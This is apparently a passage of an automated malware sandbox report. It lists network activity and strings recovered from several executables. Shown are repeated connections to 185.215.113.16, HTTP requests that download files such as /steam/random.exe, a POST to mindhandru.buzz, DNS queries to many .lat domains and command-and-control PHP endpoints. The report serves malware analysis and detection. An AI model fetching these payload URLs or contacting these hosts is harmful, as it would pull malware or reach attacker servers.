Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe

Code function: 6_2_0002E0C0 recv,recv,recv,recv,

6_2_0002E0C0

Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/kardanvalov88/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16

Source: global traffic	DNS traffic detected: DNS query: mindhandru.buzz
Source: global traffic	DNS traffic detected: DNS query: rapeflowwj.lat
Source: global traffic	DNS traffic detected: DNS query: grannyejh.lat
Source: global traffic	DNS traffic detected: DNS query: discokeyus.lat
Source: global traffic	DNS traffic detected: DNS query: necklacebudi.lat
Source: global traffic	DNS traffic detected: DNS query: energyaffai.lat
Source: global traffic	DNS traffic detected: DNS query: aspecteirs.lat
Source: global traffic	DNS traffic detected: DNS query: sustainskelet.lat
Source: global traffic	DNS traffic detected: DNS query: crosshuaht.lat
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: mindhandru.buzz

Source: 8WRONDszv4.exe, 00000000.00000003.2443743991.0000000001694000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: 8WRONDszv4.exe, 00000000.00000003.2443743991.0000000001694000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/a
Source: skotes.exe, 00000008.00000002.3385482616.00000000009A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 00000008.00000002.3385482616.00000000009A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe$
Source: 8WRONDszv4.exe, 00000000.00000003.2443743991.0000000001694000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: 8WRONDszv4.exe, 00000000.00000003.2443743991.0000000001694000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exev
Source: skotes.exe, 00000008.00000002.3385482616.00000000009A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/ra
Source: skotes.exe, 00000008.00000002.3385482616.00000000009A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 00000008.00000002.3385482616.00000000009A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe0U
Source: skotes.exe, 00000008.00000002.3385482616.00000000009A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe1395d7
Source: skotes.exe, 00000008.00000002.3385482616.00000000009A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe24080001
Source: skotes.exe, 00000008.00000002.3385482616.00000000009A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe4080001
Source: skotes.exe, 00000008.00000002.3385482616.00000000009A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe61395dd
Source: skotes.exe, 00000008.00000002.3385482616.00000000009A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe7t
Source: 8WRONDszv4.exe, 00000000.00000003.2443743991.0000000001694000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeJ
Source: skotes.exe, 00000008.00000002.3385482616.00000000009A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeO
Source: skotes.exe, 00000008.00000002.3385482616.00000000009A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeT
Source: 8WRONDszv4.exe, 00000000.00000003.2443743991.0000000001694000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exed
Source: 8WRONDszv4.exe, 00000000.00000003.2443743991.0000000001694000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000008.00000002.3385482616.00000000009A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exen
Source: skotes.exe, 00000008.00000002.3385482616.00000000009A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exepe
Source: 62G762VR710L4VXE3U82EH4WFUFY.exe, 00000003.00000002.2514093673.000000000159E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 62G762VR710L4VXE3U82EH4WFUFY.exe, 00000003.00000002.2514093673.00000000015F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 62G762VR710L4VXE3U82EH4WFUFY.exe, 00000003.00000002.2514093673.0000000001606000.00000004.00000020.00020000.00000000.sdmp, 62G762VR710L4VXE3U82EH4WFUFY.exe, 00000003.00000002.2514093673.00000000015F9000.00000004.00000020.00020000.00000000.sdmp, 62G762VR710L4VXE3U82EH4WFUFY.exe, 00000003.00000002.2514093673.0000000001604000.00000004.00000020.00020000.00000000.sdmp, 62G762VR710L4VXE3U82EH4WFUFY.exe, 00000003.00000002.2514093673.00000000015E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 62G762VR710L4VXE3U82EH4WFUFY.exe, 00000003.00000002.2514093673.0000000001606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php1
Source: 62G762VR710L4VXE3U82EH4WFUFY.exe, 00000003.00000002.2514093673.0000000001604000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpE
Source: 62G762VR710L4VXE3U82EH4WFUFY.exe, 00000003.00000002.2514093673.0000000001606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpM
Source: 62G762VR710L4VXE3U82EH4WFUFY.exe, 00000003.00000002.2514093673.0000000001606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpO
Source: 62G762VR710L4VXE3U82EH4WFUFY.exe, 00000003.00000002.2514093673.0000000001606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpe
Source: 62G762VR710L4VXE3U82EH4WFUFY.exe, 00000003.00000002.2514093673.00000000015F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpu
Source: 62G762VR710L4VXE3U82EH4WFUFY.exe, 00000003.00000002.2514093673.00000000015F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: skotes.exe, 00000008.00000002.3385482616.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000008.00000002.3385482616.000000000097F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000008.00000002.3385482616.0000000000968000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpU
Source: skotes.exe, 00000008.00000002.3385482616.00000000009A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phps
Source: skotes.exe, 00000008.00000002.3385482616.000000000092B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000008.00000002.3385482616.000000000097F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/kardanvalov88/random.exe
Source: skotes.exe, 00000008.00000002.3385482616.000000000092B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/kardanvalov88/random.exehqos.dllU
Source: 2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	String found in binary or memory: http://axschema.org/3http://schema.openid.net/3http://openid.net/schema/
Source: 2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	String found in binary or memory: http://axschema.org/company/nameBhttp://axschema.org/company/title:http://axschema.org/birthDateNhtt
Source: 2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	String found in binary or memory: http://axschema.org/contact/postalAddress/homephttp://axschema.org/contact/postalAddressAdditional/h
Source: 2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	String found in binary or memory: http://axschema.org/contact/postalCode/businessDhttp://axschema.org/contact/IM/AIMDhttp://axschema.o
Source: 2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	String found in binary or memory: http://axschema.org/namePersonJhttp://axschema.org/namePerson/prefixHhttp://axschema.org/namePerson/
Source: 2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	String found in binary or memory: http://axschema.org/person/genderFhttp://axschema.org/media/biographyBhttp://axschema.org/pref/langu
Source: 8WRONDszv4.exe, 00000000.00000003.2230748474.0000000005E39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 8WRONDszv4.exe, 00000000.00000003.2230748474.0000000005E39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: 8WRONDszv4.exe, 00000000.00000003.2256390573.0000000001637000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2278542191.000000000164C000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2256604206.000000000164C000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2184636830.0000000001637000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2296102453.0000000001637000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2277607151.000000000164C000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2184773085.000000000164C000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2277430232.0000000001637000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: 8WRONDszv4.exe, 00000000.00000003.2230748474.0000000005E39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 8WRONDszv4.exe, 00000000.00000003.2230748474.0000000005E39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 8WRONDszv4.exe, 00000000.00000003.2230748474.0000000005E39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 8WRONDszv4.exe, 00000000.00000003.2230748474.0000000005E39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 8WRONDszv4.exe, 00000000.00000003.2230748474.0000000005E39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: 2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	String found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-63/SP800-63V1_0_2.pdf
Source: 2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	String found in binary or memory: http://namespace.google.com/openid/xmlns
Source: 8WRONDszv4.exe, 00000000.00000003.2230748474.0000000005E39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 8WRONDszv4.exe, 00000000.00000003.2230748474.0000000005E39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: 2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	String found in binary or memory: http://openid.net/extensions/sreg/1.1
Source: 2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	String found in binary or memory: http://openid.net/extensions/sreg/1.14http://openid.net/sreg/1.04http://openid.net/sreg/1.1
Source: 2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	String found in binary or memory: http://openid.net/signon/1.1
Source: 2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	String found in binary or memory: http://openid.net/sreg/1.05http://openid.net/sreg/1.1
Source: 2d537c36c0.exe.8.dr	String found in binary or memory: http://openid.net/srv/ax/1.0
Source: 2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	String found in binary or memory: http://openid.net/xmlns/1.09http://openid.net/signon/1.0
Source: 2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	String found in binary or memory: http://schemas.openid.net/pape/policies/2007/06/multi-factor-physical
Source: 2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	String found in binary or memory: http://schemas.openid.net/pape/policies/2007/06/none
Source: 2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	String found in binary or memory: http://schemas.openid.net/pape/policies/2007/06/phishing-resistantxhttp://schemas.openid.net/pape/po
Source: 2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/privatepersonalidentifier
Source: 2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	String found in binary or memory: http://specs.openid.net/auth/2.0
Source: 2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	String found in binary or memory: http://specs.openid.net/auth/2.0$dnoa.request_nonce
Source: 2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	String found in binary or memory: http://specs.openid.net/auth/2.0/signonOhttp://specs.openid.net/auth/2.0/serverehttp://specs.openid.
Source: 2d537c36c0.exe.8.dr	String found in binary or memory: http://specs.openid.net/extensions/oauth/1.0
Source: 2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	String found in binary or memory: http://specs.openid.net/extensions/pape/1.0
Source: 2d537c36c0.exe.8.dr	String found in binary or memory: http://specs.openid.net/extensions/ui/1.0/icon
Source: 2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	String found in binary or memory: http://specs.openid.net/extensions/ui/1.0/mode/popup
Source: 2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	String found in binary or memory: http://specs.openid.net/extensions/ui/1.0ghttp://specs.openid.net/extensions/ui/1.0/lang-pref
Source: 2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	String found in binary or memory: http://specs.openid.net/extensions/ui/1.0hhttp://specs.openid.net/extensions/ui/1.0/mode/popupfhttp:
Source: 2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	String found in binary or memory: http://specs.openid.net/extensions/ui/icon
Source: 2d537c36c0.exe.8.dr	String found in binary or memory: http://www.idmanagement.gov/schema/2009/05/icam/no-pii.pdf
Source: 2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	String found in binary or memory: http://www.idmanagement.gov/schema/2009/05/icam/openid-trust-level1.pdfthttp://www.idmanagement.gov/
Source: 8WRONDszv4.exe, 00000000.00000003.2230748474.0000000005E39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 8WRONDszv4.exe, 00000000.00000003.2230748474.0000000005E39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: 8WRONDszv4.exe, 00000000.00000003.2186052469.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2185936915.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2185859545.0000000005E4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 8WRONDszv4.exe, 00000000.00000003.2232016198.0000000005E17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: 8WRONDszv4.exe, 00000000.00000003.2232016198.0000000005E17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: 8WRONDszv4.exe, 00000000.00000003.2186052469.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2185936915.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2185859545.0000000005E4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 8WRONDszv4.exe, 00000000.00000003.2186052469.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2185936915.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2185859545.0000000005E4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 8WRONDszv4.exe, 00000000.00000003.2186052469.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2185936915.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2185859545.0000000005E4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 8WRONDszv4.exe, 00000000.00000003.2232016198.0000000005E17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: 8WRONDszv4.exe, 00000000.00000003.2232016198.0000000005E17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 8WRONDszv4.exe, 00000000.00000003.2186052469.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2185936915.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2185859545.0000000005E4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 8WRONDszv4.exe, 00000000.00000003.2186052469.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2185936915.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2185859545.0000000005E4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 8WRONDszv4.exe, 00000000.00000003.2186052469.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2185936915.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2185859545.0000000005E4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 8WRONDszv4.exe, 00000000.00000003.2232016198.0000000005E17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: 8WRONDszv4.exe, 00000000.00000003.2444113463.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2254309843.0000000005E08000.00000004.00000800.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2444158916.000000000164C000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2184636830.0000000001637000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2254503645.0000000005E08000.00000004.00000800.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2230278018.0000000005E06000.00000004.00000800.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2230492427.0000000005E08000.00000004.00000800.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2184773085.000000000164C000.00000004.00000020.00020000.00000000.sdmp, 99468ec718.exe, 0000000D.00000003.3373012172.000000000140D000.00000004.00000020.00020000.00000000.sdmp, 99468ec718.exe, 0000000D.00000002.3387558023.0000000001398000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/
Source: 8WRONDszv4.exe, 00000000.00000003.2208452015.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/((4
Source: 8WRONDszv4.exe, 00000000.00000003.2444158916.000000000164C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/.$C
